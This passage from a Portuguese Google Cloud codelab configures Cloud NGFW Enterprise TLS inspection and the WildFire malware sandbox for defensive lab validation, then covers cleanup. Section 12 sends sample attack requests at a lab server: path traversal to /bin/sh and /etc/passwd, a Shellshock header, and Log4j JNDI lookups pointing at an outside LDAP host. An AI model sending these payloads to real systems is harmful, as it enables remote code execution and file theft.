trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importe a política de TLS atualizada:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Como validar a inspeção de TLS E/W

Use o SSH para voltar ao cliente e testar o tráfego leste-oeste com a configuração de confiança atualizada:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Execute o exemplo de solicitação de TLS para o servidor:

curl https://$target_privateip --max-time 2

Se você ainda receber a saída abaixo, aguarde a propagação das atualizações.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Saída esperada:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Envie tráfego de teste malicioso para o servidor:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Saída esperada:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Nenhuma resposta é recebida de acordo com a saída esperada abaixo, confirmando que os ataques de amostra agora estão sendo bloqueados para E/W.

13. Logging

Acesse Logging > Análise de registros no console do Cloud, insira o filtro abaixo e consulte os registros. Substitua [PROJECT_ID] pelo ID do projeto:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

As entradas de registro do Cloud NGFW Enterprise devem ser semelhantes às mostradas abaixo:

5b68cc1063c0f4bd.png

Expanda as entradas de registro e observe que os ataques enviados da VM cliente para o servidor foram identificados e bloqueados (Vulnerabilidade de execução remota de código do Apache Log4j, conforme a captura de tela abaixo).

478f18f8481e90ed.png

Você implantou o Cloud NGFW Enterprise com inspeção de TLS para bloquear solicitações maliciosas.

Prossiga para a próxima seção para configurar e validar o sandbox de malware avançado (WildFire) (opcional) ou pule para as etapas de limpeza.

14. [Opcional] Configurar o sandbox de malware avançado (WildFire)

O sandbox de malware avançado (WildFire) amplia a prevenção de ameaças do Cloud NGFW Enterprise inspecionando arquivos em trânsito e enviando arquivos desconhecidos para um sandbox baseado na nuvem (com tecnologia do Advanced WildFire da Palo Alto Networks) para uma análise comportamental detalhada.

Aceitar o EULA do sandbox de malware avançado

Antes de ativar o sandbox de malware avançado em um endpoint de firewall, você precisa ler e aceitar o contrato de licença do usuário final (EULA) único no seu projeto de faturamento ($billing_project). O EULA só pode ser aceito no console do Google Cloud: acesse Segurança de rede > Endpoints de firewall, edite o endpoint $prefix-$zone, selecione Ativar sandbox de malware avançado (WildFire) em Configuração avançada e clique em Concordar e continuar.

Ativar o sandbox de malware avançado no endpoint do firewall

Ative o sandbox de malware avançado no endpoint de firewall $prefix-$zone usando gcloud network-security firewall-endpoints update:

gcloud network-security firewall-endpoints update $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project \
  --enable-wildfire \
  --no-async

Confirme se o sandbox de malware avançado está ativado no endpoint de firewall:

gcloud network-security firewall-endpoints describe $prefix-$zone \
  --organization $org_id \
  --zone $zone

Resultado esperado (verifique wildfireSettings: enabled: true e state: ACTIVE):

associatedNetworks:
- projects/$project_number/global/networks/$prefix-vpc
associations:
- name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association
  network: projects/$project_number/global/networks/$prefix-vpc
billingProjectId: $billing_project
createTime: '2023-11-16T04:27:17.677731831Z'
endpointSettings:
  contentCloudRegion: US_CENTRAL
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T05:15:12.104829104Z'
wildfireSettings:
  enabled: true
  wildfireRegion: UNITED_STATES

Criar e configurar o perfil de segurança do WILDFIRE_ANALYSIS

Crie um perfil de segurança do sandbox de malware avançado (WILDFIRE_ANALYSIS) chamado $prefix-sp-wildfire:

gcloud network-security security-profiles wildfire-analysis \
  create $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

Saída esperada:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.

Em seguida, adicione uma regra de envio assíncrono para enviar arquivos APK nas direções de upload e download (--direction=BOTH):

gcloud network-security security-profiles wildfire-analysis \
  add-submission-rule $prefix-sp-wildfire \
  --organization $org_id \
  --location=global \
  --file-types=APK \
  --direction=BOTH

Saída esperada:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.

Inspecione o perfil de segurança WILDFIRE_ANALYSIS configurado:

gcloud network-security security-profiles wildfire-analysis \
  describe $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

Saída esperada:

createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
  wildfireInlineMlSetting: {}
  wildfireSubmissionRules:
  - customFileTypes:
      fileTypes:
      - APK
    direction: BOTH
    fileSelectionMode: CUSTOM_FILE_TYPES

Atualizar o grupo de perfis de segurança ($prefix-spg)

Atualize $prefix-spg para anexar $prefix-sp-wildfire:

gcloud network-security security-profile-groups update $prefix-spg \
  --organization $org_id \
  --location=global \
  --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire

Saída esperada:

Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.

Como a regra de política de firewall 900 (EGRESS sobre tcp:443 com --action=apply_security_profile_group e --tls-inspect) já faz referência a $prefix-spg, os downloads de arquivos HTTPS criptografados iniciados em $prefix-$zone-client são descriptografados automaticamente pela inspeção de TLS e avaliados pelo sandbox de malware avançado sem precisar de mudanças na regra de política de firewall.

15. [Opcional] Validar o envio de arquivos e a análise forense do sandbox de malware avançado

Testar o envio assíncrono de sandbox e a filtragem por tipo de arquivo

Conecte-se à VM do cliente ($prefix-$zone-client) usando o Identity-Aware Proxy (IAP):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Na VM do cliente, baixe o arquivo de teste público APK da Palo Alto Networks por HTTPS:

curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15

Em seguida, faça o download do arquivo de teste público ELF da Palo Alto Networks por HTTPS:

curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15

Como nossa regra de envio em $prefix-sp-wildfire segmenta apenas arquivos APK (--file-types=APK), o firewall não envia o arquivo ELF para o sandbox de malware avançado.

Saia do terminal da VM do cliente e volte ao Cloud Shell.

Verificar WildfireSubmissionLog no Cloud Logging

Acesse Logging > Análise de registros no console do Cloud, insira o filtro abaixo e consulte os registros. Substitua [PROJECT_ID] pelo ID do projeto:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"

Depois que a análise de sandbox for concluída (geralmente em alguns minutos), uma entrada WildfireSubmissionLog vai aparecer para o download do arquivo APK, enquanto nenhum registro de envio será gerado para o download do arquivo ELF. Se nenhuma entrada de registro aparecer após vários minutos, aguarde a conclusão da janela de propagação de 15 minutos do grupo de perfil de segurança e execute novamente o download de curl. Expanda a entrada de registro e observe que o payload JSON é semelhante ao seguinte:

{
  "insertId": "3xim62fg6n786",
  "jsonPayload": {
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
    "action": "ALLOW",
    "connection": {
      "clientIp": "10.0.0.2",
      "clientPort": 37142,
      "protocol": "tcp",
      "serverIp": "104.199.115.54",
      "serverPort": 443
    },
    "interceptInstance": {
      "projectId": "$project_id",
      "vm": "ngfw-enterprise-$zone-client"
    },
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "ngfw-enterprise-vpc"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "ngfw-enterprise-spg"
    },
    "wildfireDetails": {
      "detectionTime": "2026-10-16T20:29:44Z",
      "direction": "SERVER_TO_CLIENT",
      "file": "wildfire-test-apk-file.apk",
      "fileType": "APK",
      "hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "repeatCount": 1,
      "reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "severity": "[SEVERITY]",
      "subtype": "WILDFIRE",
      "verdict": "[VERDICT]"
    }
  },
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
  "receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
  "resource": {
    "labels": {
      "id": "ngfw-enterprise-$zone",
      "location": "$zone",
      "resource_container": "organizations/$org_id"
    },
    "type": "networksecurity.googleapis.com/FirewallEndpoint"
  },
  "timestamp": "2026-10-16T20:29:57.880438600Z"
}

Observe os campos principais em wildfireDetails:

  • fileType: "APK" e subtype: "WILDFIRE" confirmam a análise assíncrona de sandbox da transferência de APK.
  • file é o nome do arquivo fornecido pelo servidor (wildfire-test-apk-file.apk), que pode ser diferente do nome do arquivo local usado com curl -o.
  • hash identifica o resumo SHA-256 exclusivo da amostra de teste.
  • verdict e severity são determinados pela análise do sandbox.
  • reportUri e sampleUri fornecem links diretos para recuperar o relatório de análise dinâmica e a amostra enviada.

Ver o envio e fazer o download de artefatos forenses

Acesse Segurança de rede > Registros do NGFW Enterprise > Envios de sandbox de malware avançado pelo console do Cloud e selecione seu projeto. Clique na entrada wildfire-test-apk-file.apk para ver os detalhes do envio, incluindo o hash SHA-256 do arquivo, o veredito e o endpoint do firewall. Em Mais ações para o envio, selecione Fazer o download do relatório de análise para salvar o relatório de análise dinâmica em PDF ou Fazer o download da amostra de malware para salvar o arquivo enviado.

Como alternativa, é possível fazer o download do relatório de análise e da amostra do Cloud Shell usando os valores reportUri e sampleUri da entrada WildfireSubmissionLog:

export report_uri="<REPORT_URI_FROM_LOG>"
export sample_uri="<SAMPLE_URI_FROM_LOG>"

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$report_uri" -o wildfire-report.pdf

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$sample_uri" -o wildfire-sample.bin

16. Etapas de limpeza

Limpeza da configuração básica

Remova as instâncias:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Siga as etapas abaixo se as funções tagAdmin e tagUsers tiverem sido alteradas:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Remova a chave e os valores da tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Remova a política de rede do Cloud Firewall e a associação:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Exclua o Cloud Router e o Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Exclua os endereços IP reservados:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Limpeza de SPG, associação e TLS do Cloud Firewall

Exclua o grupo de perfis de segurança e os perfis de segurança nesta ordem (se você concluiu a seção opcional "sandbox de malware avançado", execute também o comando para excluir $prefix-sp-wildfire depois que $prefix-spg for excluído):

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles wildfire-analysis \
  delete $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Exclua a associação do endpoint do Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Exclua o endpoint do Cloud Firewall, o que pode levar cerca de 20 minutos:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Se quiser, confirme se o endpoint do Cloud NGFW foi excluído executando o comando abaixo:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

O estado do endpoint precisa mostrar:

STATE: DELETING

Quando o processo for concluído, o endpoint não será mais listado.

Exclua a política de TLS e a configuração de confiança nesta ordem:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Desative e exclua a CA raiz e o pool de CAs:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Limpeza de sub-rede e VPC

Por fim, exclua a sub-rede e a rede VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

17. Parabéns!

Parabéns! Você concluiu o codelab do Cloud NGFW Enterprise para inspeção de TLS leste-oeste e norte.